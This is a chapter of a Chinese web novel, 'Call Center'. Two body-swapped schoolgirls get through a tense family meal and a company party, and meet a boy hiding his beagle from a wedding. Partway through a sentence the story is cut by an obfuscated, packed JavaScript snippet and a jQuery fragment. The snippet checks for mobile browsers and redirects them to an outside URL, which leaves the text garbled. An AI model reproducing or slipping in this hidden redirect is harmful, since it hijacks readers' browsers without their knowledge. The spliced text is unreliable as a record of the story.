129.比格伦理学
作品:《呼叫中心》 刘征兰我恨你一辈子。
颜阎一双爪子把钢琴弹出火,悲鸣淹没在无尽的音符中。
当初说好,只要刘征兰帮忙拍照,杀人她也认了。
现在来看,不如杀人。
颜阎双眼无神地按琴键。她的小拇指有点抽搐,钢琴的琴键太沉,她总是按不下去。如果说手风琴的手感是雪后阴凉地里不化的冰碴,那钢琴就是北冰洋的浮冰。
刘征兰昨天只说有点事,她可没说是被家长当作人情,卖给了单位搞联欢!
县城的填鸭式艺术教育,成功让她没记住一点乐理。而且出于对手风琴纯粹的厌恶,早在十级到手的一刹那,相关知识如同火箭发射后的助推器,迅速与本体分离。
总而言之,学琴八年,仍是新手。
而钢琴更是和她无缘——太贵了,贵到关于价格的记忆是一片空白,里面填充着一个巨大的“¥”,她平时碰都不敢碰。唯一一次接触还是在初中,在一个女同学帮助下找到了C大调的哆,弹了一首磕磕绊绊的《虫儿飞》,单手。
联欢会开在国庆假期内。国企老员工们没什么出门的热情,大家聚在一起热热闹闹地合唱、唠嗑、吃零食,反而符合那个年代的习性。作为短视频重度人群,中年人们的合唱没有红歌,反而是一首流行曲。
流行歌的铺子相对简单。颜阎苦练一整夜,右手改指法左手靠简化,终于把铺子顺下来。
第二天楼道里有好几个人贴扰民告示,颜阎在心里默默道歉:私密马赛,你们有事,就去找刘征兰算账吧!
刘征兰的妈妈对此没有意见。她甚至十分欣慰,第二天早上一边抱着她的肉山儿子一边施舍她夸奖:“这才对,你要重视家长单位里的活动,给我们长面子,对你自己也有用。家庭才是一个集体,我们才是最亲的人,你那些朋友以后能帮衬你吗?”
颜阎身上挂着律易棋倾情赠送的折射影像,猛然抬起头:当着我的面说我坏话?说得好像你女儿出事儿了你会帮忙一样!可恶,友情才是最棒的!
但她现在是刘征兰,刘征兰不会激烈地反驳。她是吐出内脏逃跑的海参,为了生存,必须做出一些妥协。即使敌人并不喜欢吃内脏也没关系,大部分人只是欣赏挣扎的姿态。
于是颜阎没有回话,只是用不耐的表情表达了不满。
刘宇衡问他们的妈妈:“为什么姐姐的包子里有肉?还有鸡蛋?”
颜阎在心里回答:傻子。因为你被喂的是切片小馒头,你妈一口小黄瓜一口腐乳一口肉松一口馒头片喂你。我是手抓的,我想怎么吃怎么吃!
她想再吃一口鸡蛋,结果在盘子里看到刘征兰妈妈的筷子。她一个激灵,把装包子的盘往自己胳膊里一揽:“干嘛?”
“给弟弟一点。”
“他自己会夹!碗里也有,干嘛来我盘子里夹?”
刘宇衡立刻哭起来。说是哭,更像是一扭一扭地蠕动。颜阎直冷笑,死死按着盘子里的包子——小破包子,也就手心大,皮有两厘米厚,肉馅就橡皮擦大小。这种在她眼里压根不算包子,只能算小面团。但是自己不愿意给的东西,一粒米也必须计较到底。
她一口把包子全塞进嘴里,腮帮子撑得鼓鼓的,油乎乎的手伸到刘宇衡面前展示:“回了(没了)!”
刘征兰的妈妈刚才的欣慰立马融化,她开始数落“刘征兰”:不关心家里人、没担当、自私、不听话……
她是个晒得很黑的女人,说话的时候,像是那种烧得不干净的纸片儿在抖。
颜阎小小声装可怜,同时抢占道德高低:“吃饭不能抢。”她伸长脖子咽了口面团,又补了一句,“我朋友不跟我抢,她们都给我零食吃。”
后面那句话点燃了刘征兰的妈妈,她说:“你怎么能拿朋友和家里人比?你弟弟是你亲人!”
这就没法沟通了。
指责毫无摩擦力地路过颜阎脑壳,从耳朵里滑出去。她只是一味埋头苦吃,中途噎了一下,想喝口稀的顺顺。结果抬头一看,自己这边压根没有喝的!刘宇衡在桌子对面紧鼻子瞪眼,边嘬豆浆吸管,边把玩着一瓶牛奶。
颜阎一咬牙,用面团子把嗝压下去。
刘征兰妈妈还在念叨,念着念着流下眼泪。她说她不明白为什么刘征兰是这种孩子,她强势了一辈子,只希望换来一个和睦的家庭,为什么连这种卑微的愿望刘征兰都不能满足呢?她到底哪里对不起刘征兰?
颜阎本来就不爱吃碳水和鸡蛋,噎得直伸脖子。抬头一看,豆腐乳肉松和小咸菜还被母子俩暗戳戳扒拉到他们那边,要是她想吃还得站起来,太没气势了。
她把鸡蛋黄全塞进嘴里,又把包子掰开,就着里面肉馅的一口汁,使劲儿嚼。肉汁和着鸡蛋黄那种雨后湿沙子一样的口感,零零碎碎滑进食道,像吃了一把小石子儿。趁着肉汁还没跑味儿,她把死面团也扔进嘴里,和着唾液生生嚼出一口甜味。最后的肉馅最好咽,但她已经食不知味,只当吞咽的辅助工具,吃完之后端起盘子就往厨房走:“五出年琴噜(我去练琴了)。”
小时候大家都看过“坏人来了怎么办”的教育视频,却基本没有看过“坏人在家怎么办”的视频,最多只是告诉你:可以报警求助。
但是法律不承认“断绝父母”,所以只要没把孩子打成伤残,报警求助的结果也只能是调解和教育,它没有任何实质性帮助,只会向敌军暴露信息,为下一次的争吵提供准确打击点。
为了刘征兰今后的处境,颜阎即使再愤怒,也不能替她痛骂她家里的人。
她能做的是尽可能忍耐,不给朋友的生活增添更多麻烦。
单位的联欢很老派,包了饭店一楼摆席。窗边挂五颜六色闪亮亮毛绒绒,塑料狗尾巴草一样的毛条彩带,场地里飘几只彩色气球,每张桌子上都有一次性塑料杯。
饭店也很老派,亮堂堂金灿灿,圆桌铺红色桌布,带个透明转盘,北边还有个挂红帷幕、摆大钢琴的舞台,很方便领导讲话和才艺表演。
榕城谁和谁都有关系,更别提饭店老板和单位领导。听说饭店没要包场钱,只需要给打折饭菜付款。颜阎兴冲冲地准备去搂席,刘征兰却说:“想多了,你没饭吃。这联欢和我妈没关系,她和别人炫耀我会弹琴,别人开玩笑让我去伴奏,她当真了。人家也很难做,说算了,但是她要面子,死活要把我塞进去。所以我是免费打工,一口饭都没有。”
过了一会儿,刘征兰补充:“你可以提两瓶雪碧走。”
此时大人都没到,按理说她应该熟悉一下谱子。可正事一逼近,除了正事以外的东西都变得有趣了。她坐在舞台边上俯瞰,觉得这个视角很新奇,好像那种演唱会里情到深处,坐在舞台边唱安可的歌手。
想到这儿,她就开始乐。嘴角还没下去,后面有人问:“你今天怎么看起来傻兮兮的?”
她回头一看,乐得更开心了。
后面站着俩人。一个圆滚滚胖墩墩,但是神情很清明,路过几个布置饭店的中年人,她都清晰地说出了名字和称呼。另一个左琴右弓,愁容满面,身上穿着影楼风新中式汉服,一只耳垂上挂着捕梦网形状的耳夹,是个丁香般结着愁肠的姑娘。
颜阎欢快地叫起来:“燕儿!艺术家!”
艺术家瞪大眼睛:“你叫我什么?”
颜阎这才想起来,自己已经是刘征兰了。她努力把笑容收回去,但眼睛还是弯弯的:“颜阎说的。”
艺术家听得挺开心,看样子很喜欢这个略显敷衍的外号。
“弹咋样?”张燕之问她。
颜阎说:“烂。校运会手腕扭了,啥也弹不出来。”
“一会儿一桌吃饭?”张燕之邀请她,“‘艺术家’……哈哈,‘艺术家’女士她家那桌抽烟,来我们这桌吃!我指使我弟去其他桌给你们偷雪碧。”
“不用。”颜阎装作很酷地一摆手,“我去吃自己的。”
“你家那桌无烟?”
不知道刘征兰想不想瞒着,但问到这儿已经没法混过去了。颜阎老老实实说:“我没有被邀请,是个打工的。”
艺术家长长地“哦——”了一声。
张燕之问:“先合奏一遍?”
两人都同意。“刘征兰”弹钢琴,艺术家拉小提琴,张燕之吹笛子,小小一个舞台,跨越弦乐、管乐、按键乐器三个大类,称不上卧虎藏龙,也能说是生搬硬凑。
合奏一曲后,颜阎期待地问:“咋样?”
张燕之笑:“不错呀。”
张燕之的好话都要降一级去理解。她说“不错”就是“不咋地”,“挺好的”才是“不错”。
艺术家不笑,沉阴阴的眼珠子从荆棘丛生的眉毛下面削出来,琴弓扛在肩上,姿势像要自戕。
刘征兰和她没有矛盾,但是拦不住大人会自动给成绩最好的学生塑金身,几乎每个家长都会感慨:“刘征兰真是让她家里省心。”
其他学生习惯了打击,耳朵一捂当没听见。你讲任你讲,清风拂山冈。而她有点心气,于是心里暗暗较劲,希望至少在音乐方面胜过刘征兰。
谁能想到这死人弹得这么烂!
左手动都不动,完全是用1、3、5三个键凑出来的万能和弦。右手更是简化得不能再简化,就差照着歌词按键了。
她盯着“刘征兰”在钢琴椅上矜持的背影,心里想:刘征兰啊刘征兰,还以为你也是那种认真沉静的人。我真是看错你了!
怎么说呢……刘征兰是那种人,颜阎可不是!她正为蒙混过关偷乐呢。
合完一遍,三人都不想继续。目光清澈愚蠢的两人看向张燕之,用眼神问她接下来干嘛。
领导大手一挥:“走!带你们去隔壁厅玩儿!”
东厅办联欢,西厅办婚礼。西厅搭了个五鱼喷水的喷泉,新人都爱选西厅结婚。新郎新娘都不是特别漂亮,在场的人也不是很年轻,司仪说千篇一律的台词,婚纱是影楼的款式。
颜阎看到结婚的就皱眉——这类样板戏,她腻得慌。
艺术家问她:“咋了?上面有你前任?”
颜阎蹲下抱住脑袋,痛苦呻吟道:“你别说了。我看到别人结婚就难受。”
张燕之帮她解释:“刘征兰是无性恋。”
艺术家说:“无性恋也不这样,你少抹黑人家。”
颜阎澄清:“我说怪话和性取向、星座、血型、mbti都没关系,纯粹是我自己的问题。反正,我绝不跟会谈恋爱会结婚的人交朋友。”
张燕之问:“那康烁影呢?”
颜阎一噎:“她例外!”
艺术家喃喃自语:“坏了,这真是颜阎说过的话……你被她传染了……”
哈哈,说出来吓死你,其实你面前的就是颜阎。
颜阎不说话,装高深莫测。
张燕之轻车熟路进门,跟门口写礼簿的人打招呼:“曹姨。我带同学去一趟西厅。”
写礼簿的女人二话不说,给三个人手里各塞了一把喜糖:“干嘛去?”
“换菜。不能吃辣的单开两桌,得把水煮肉片尖椒筋头什么的去了,换几个甜咸口的。”
掌管礼金的大姨眉开眼笑:“懂事的好孩子,去吧去吧。”
有张燕之在,一路绿灯放行到后厨。后厨大门就在西厅后面的院子里,一扇小门开着,用以传菜。院子里有假山假树假花,还有个跟狗一起玩儿的小男孩。
张燕之问:“想吃啥?”
艺术家说:“都行。”语气拉得弯弯曲曲,似乎指望着有人从她的犹疑里做出一个令她满意的决定。
颜阎说:“不要辣的!”
张燕之咧嘴一笑,果断道:“那就猪耳朵。我给你俩要点猪耳朵来,你们随便玩儿,别蹭席就行。”
说完,她就一头钻进后厨。
张燕之走了,艺术家就不太有主意,视线落在“刘征兰”身上。要是刘征兰本人,现在怕是要叹气一声,带着她回去练琴。可惜现在是颜阎顶号,她说:“那……咱帮礼部尚书数钱去。”
礼部阿姨默认她俩是张燕之的小跟班,没把她们当大人看待,一再声称“碰了钱容易出事”,只让她俩帮忙登记。
这对新人家里都是开店的,随礼的人也都没报大名。颜阎和艺术家趴在红布桌上,从方言和生活经验里拼凑出各种稀奇古怪的名字:彭姐凉皮、柳家竹器店、小李电动车、姊妹馄饨、重庆小面、建设路沙县小吃、后路沙县小吃、亮记椒麻鸭……流动糖葫芦摊?怎么连这都有?
两人凝望着流动糖葫芦摊的金表大爷当风敞怀的背影,陷入沉思之际,一个系花丝巾的女人跑过来,撑着红布桌问:“曹姐,我家小霆和小红从这里出去没有?”
礼部大姨指着两个女学生。
“不是不是。一个是我儿子,一个是我家狗。”
颜阎问艺术家:“咱俩谁负责狗的部分?”
艺术家说:“太棒了,你还是刘征兰。”
花丝巾女人急匆匆跑走了,嘴里喊着两个名字。先是小红快出来,再是小霆你不出来我就打死你。艺术家说:“唉,你记不记得刚才院子里的……”
“什么?”
“当我没说。”一看就是完全不记得。
记完半张礼簿,玩腻了猜谜游戏的两个人回到院子里。张燕之左手一袋猪耳朵,右手一袋小黄鱼从后厨出来:“走,找个安静地方偷吃去。”
安静地方指的是后厨和西厅之间常年锁门的自行车停车场入口。排气扇下石油一样的脏污流满整面墙,厨房的热气把这一方天地熏得像夏天的汽修厂。三个女高中生坐在荒芜的花坛边,和对面的一人一狗面面相觑。
缺牙巴的小男孩:“……姐姐,你们吃的是什么呀?”
张燕之:“掰一口?”
小男孩:“两口。”
他把猪耳朵咬断,另一半给他旁边的狗。狗嚼了嚼,难吃,要吐,挨打,咽下。
小男孩道歉:“他平时,平时吃的比较好。”
“有多好?”艺术家问。
“我妈说,它一个月一千五。比我和我姐贵。”
艺术家立刻收回摸狗的手。
“我问一句。”颜阎道,“你家狗不会恰好叫小红吧?”
小男孩了然:“我妈找我啊?别管,咱们先吃零食吧。”
那他就是小霆了。
张燕之又递给他一条香香脆脆的小黄鱼:“不可能不管,我们肯定要把你送到你妈妈那里的。你先说说吧,跟家里闹什么矛盾了?”
小霆深沉道:“你们到我这个年纪就懂了。”
小红配合地呜呜叫。
小红是只比格。对的,比格,著名烂狗。配色像那种割了一茬的农田。耳朵大大,身子糯糯,叫声响响,精力旺旺。但是对人也好好,一直在努力用额头拱女生们的小腿。
艺术家很喜欢它,嘴角忍不住往上翘:“好宝,好宝~”
小红用嘴筒子蹭她的腿,边蹭边嗷嗷叫。艺术家更开心了,她一直用自己的拉绳束口包垫在屁股下面,以免弄脏租来的衣服,现在她直接把小红的脏爪爪抱上膝盖,亲昵地用脸颊贴它的大耳朵:“好乖乖好可爱~”
颜阎凑到她耳边恶魔低语:“说了比格可爱,就要免费养比格。”
只看时政和国际新闻的张燕之问:“为啥?”
话音刚落,比格身子往艺术家肩膀一趴,舌头开始疯狂舔她的耳朵,两只爪子也在她身上来回划动,指甲勾出刺绣和劣质绸,明显是把她当成了狗玩具。
艺术家尖叫:“这衣服是租的!”
颜阎吐出晚来的解释:“因为比格是超级拆家狂魔。只要你说‘可爱’,比格主人就会跑到你家门口,争相把狗送给你。”
小霆抢回小红:“我才不送!”
张燕之挠着小狗下巴:“你家狗拆家吗?”
“拆。”
“训练一下。农村的狗都训练的。”
“有训练啦!我妈没事儿就练,现在已经不乱拉不乱尿了。”
颜阎了然:“乱叫?”
小霆有点气势不足:“昂。”
张燕之笑着摸了摸男孩子的猕猴桃小脑瓜:“你和你家狗关系这么好,应该
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855607|154276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也不是坏孩子。干嘛跟你妈妈吵架?”
小霆两手击掌,小红便使劲儿往他手心里钻。他把脸贴上小红软乎乎额头,呼吸轻轻喷洒在他和小狗之间:“我妈妈让它去给哥哥姐姐送戒指。我才不让小红去!”
艺术家试图让小红回到自己怀里:“为什么?”
“你当我第一次吃席啊!结婚的音响轰隆隆隆,我都受不了,怎么可能让,让小红去!而且那么多大人,肯定也不会对小红好,随便上手,就摸摸拽拽的。”小霆捂住小红的两只大耳朵,被比格拿舌头狂舔手臂“我妈妈对小红一点也不好。她就是想显摆自己的训练成果,才派小红来送戒指。我再也不要跟她好了!”
“你妈妈给他一个月花一千五吃饭,这还不算对它好?”猪耳朵和笑意一同悬在小红头顶。
小霆脸蛋涨红:“阿姨,你什么意思!给吃给喝就是对它好了?古代人给下人海包吃喝呢,人家就必须乖乖当下人啦?”
艺术家眉毛飞成两把小剑:“阿姨怎么了?不许喊阿姨!”
张燕之自己倒不是很在意,她撑着脸哈哈大笑。
“就叫阿姨!我刚才,刚才还以为你们是同龄人!结果是大人!”
张燕之示好:“消消气,吃条小黄鱼。”
小霆扭头:“不吃。”
小红用行动表示:我吃我吃。
“……没出息!”
等小红吃完,张燕之慢悠悠道:“你换个角度。你看,比格很吵很闹容易拆家,平时总是惹你妈妈生气。好不容易有一个表现自己的机会,虽然过程有点难受,但总算能让妈妈开心了!它也会很高兴的。就像你努力了很久,考出了好成绩,你也会开心的,是不是?”
小孩哥顶回去:“你怎么知道它想表现自己!它不想表现自己,也不想我妈妈开心!”
“你怎么知道她不想?”
“你怎么知道它想!”
好没营养的吵架。艺术家打了个哈欠,想问“刘征兰”要不要回东厅。
转过头,“刘征兰”思索片刻,果断起身,插入“子非鱼安知鱼之乐”的对话里。
“我道歉。”她冲小霆伸出手。
张燕之像是趴在缸边逗鱼的猫,悠然收起爪子,笑吟吟看着她。
小霆警惕道:“阿姨,你别想骗我哦。”
“我刚才拿‘主人把比格送人’开玩笑,这种行为非常坏。”她冷静得不想在陈述自己的过错,“这种话,就是把主人的不负责当玩笑说。要是没做好准备,就不要养它们。比格本来就是猎兔子的狗,精力旺盛又不是它们的错。”
在脑海中迷路的男孩捕捉到一丝银光,他伸手,顺着直觉扯出一整条语言的蚕丝。
他跳起来。一手叉腰,一手竖起食指指点三人,做出一种语重心长的态度,“小红淘气,小红拆家,小红乱尿,这又不是小红的错,狗在野外都是这么活的。大人把动物圈在家里,要动物习惯他们的规矩,动物不喜欢,它们倒觉得动物不好!说什么狗是人类最好的朋友啊,自己爱宠物啊……其实就是因为宠物有用,听话,可爱!”
说了这么多,他脑子有点过载。后面的话支支吾吾:“嗯……反正……大人都很自私。动物不是拿来‘有用’的,它们自己也能活。觉得只有自己能给它们幸福的人才最讨厌!如果真的喜欢它们,就应该连它们的丑、调皮、麻烦、不爱你,一起喜欢。如果只是拿它们做自己想让它们做的事,那就不要说爱它们,至少堂堂正正地说:‘我就是想让自己开心。’好啦!”
小霆抬起下巴,郑重跟“刘征兰”握手:“我喜欢你。我承认你是小孩儿阵营的。”
小黄鱼在张燕之嘴里嘎嘣响:“说的真不错。谁教你的?”
小霆更骄傲了:“我姐姐!”
颜阎立刻意识到自己扮演的是讨厌小孩儿的刘征兰。她触电般缩回手,吹了吹自己的手背。
身边响起“人生就算冰糖雪梨……”的手机铃,张燕之接通电话听了一会儿,跟同学们说:“咱们要去表演节目了。”
小霆成熟地伸出手,跟张燕之握了握:“再见,阿姨。”
张燕之礼貌地回握:“再见,死小孩儿。”
全国模范好弟弟奖(奖品是鸡柳)得主不和他计较,只是响亮而标准地读出“哼”这个字。
旁边还有个虽然有点黑,但是穿得很漂亮的姐姐。小霆转向她,打算给她划分一下阵营——看在她对小红很好的份上,也可以让她来小孩儿阵营。
但是她没说话,她嘴唇微张,眉头紧皱,眼神中带着痛苦的迷茫。像是清洁工看到随着大海退潮而显现的凌乱沙滩,对着漂流瓶、渔网、木条和鲸鱼尸体无可奈何。
过了很久,很久,久到下一次涨潮卷走了沙滩上的狼藉。艺术家的“熵脑”终于回归。
“我们走了。”她不舍地摸摸猕猴桃脑袋,又摸摸小狗脑袋。小红大声地冲她叫唤,应该是已经把她当玩耍好伙伴了,“你躲好。”
张燕之把两袋零食留给他:“拿着和你的小朋友分吧!”
“我不要!”
艺术家说:“越讨厌一个人,越要使劲儿占她便宜。”
小霆听进去了。他拿过零食的时候,小红一直在用舌头舔塑料袋。
“刘征兰”从她一直背着的那只绿书包里抽出一条墨色长尺指向他:“你放心,你和小红都不会有事的。”
她帅气逼人的动作受到了小霆和小红的眼神膜拜,但是那点崇拜很快消失。因为她补充道:“回家后就不一定了。”
小霆垂头丧气:“那我自己也能躲,当躲猫猫就行。”
“不要躲猫猫。想逃避一件事,躲猫猫不如离家出走。总之,你留在原地不要走动,大人肯定找不到这里的。”
张燕之最后没有告密,她说,饭店就这么大,不告密也能找到。
说这些的时候,她和艺术家、“刘征兰”,正在几张靠墙的空椅子上候场。领导讲话已经结束,男女对唱、诗朗诵和夕阳红舞蹈团依次下场,中年合唱团像是水中的海草,用一致的节奏摇头晃脑,陶醉歌唱。
餐桌上偶尔有人向台上施舍目光。某张桌上有人拍掌爆笑,另一张桌子上有人起身互相敬酒。烟气和碗碟碰撞的脆响从一张桌子飘到另一张上空。传菜的服务员收起每一张桌上的空盘,穿过回廊,因为匆忙而碰到了西厅大门。门内正举行婚礼。红毯与花瓣铺路的T型台上,一对新人正迷茫而甜蜜地等待戒指送来,吃席的人在司仪震耳欲聋的主持里讨论高考和退休金,丝巾女人呼唤儿子和狗的声音愈发恼怒,一名女学生随手推开窗户,试图驱散浑浊的空气。从这里的窗户向下望去,一个男孩儿和一条小狗倚靠着彼此,坐在后厨和西厅夹缝之间的排气扇下,因为紧张而疲惫得呼呼大睡。
他们做了同一个梦。梦见地面是湖水,他们在波浪中看见失落的古城。沉入湖底,古城是一个温馨的房间,耳机线在沙发缝隙里盘踞,没看完的书倒扣在矮桌上,一只垫了海绵和眼镜布的眼镜盒和仓鼠滚轮试图隐藏自己,置物柜上的金属物件沉沉睡去,海底窗外的夕阳给人烫出金色的轮廓。金色的女人打开门,踏上黏腻的饭店地板,将绿书包妥帖藏起,走向那座陌生的钢琴。
演出结束得很顺利,“刘征兰”搂上了张燕之请的席。小霆一觉醒来,发现婚礼已经结束,开开心心地回家挨打。艺术家只吃了一点就得先走一步。她去厕所里换了便服,准备去照相馆还租来的汉服。
“我换好衣服才发现,仅剩的耳夹也没了。”艺术家忧郁道,“两只耳夹都不明不白地丢了,真讨厌。”
等颜阎吃完午饭,刘征兰那边也基本结束。两个灰头土脸的人在呼叫中心聚首,说什么都不愿意再互换一次了。
刘征兰整得了颜阎的同意,把她的照片发过去又秒删。
五分钟过去了,十分钟过去了,半小时回去了……
康烁影没有任何回复!
刘征兰忽然意识到什么,猛然站起,开始翻聊天记录。片刻后,她抬起眼睛,颤抖地说:“康烁影,已经三天没回我们消息了……”